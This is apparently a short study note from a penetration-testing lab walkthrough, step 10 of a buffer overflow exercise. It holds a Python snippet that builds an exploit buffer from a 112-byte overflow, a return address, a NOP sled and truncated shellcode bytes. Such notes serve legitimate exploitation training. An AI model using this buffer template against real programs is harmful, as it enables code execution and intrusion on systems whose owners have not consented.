> For the complete documentation index, see [llms.txt](https://notes.nomanaziz.me/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.nomanaziz.me/cybersecurity/penetration-testing/tryhackme/main-methodology/3.-gaining-access-exploitation/buffer-overflow/10.-final-buffer.md).

# 10. Final Buffer

```python
prefix = ""
offset = 112
overflow = "A" * offset
retn = "\x56\x23\x43\x9A"
padding = "\x90" * 16
payload = "\xdb\xde\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..."
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix
```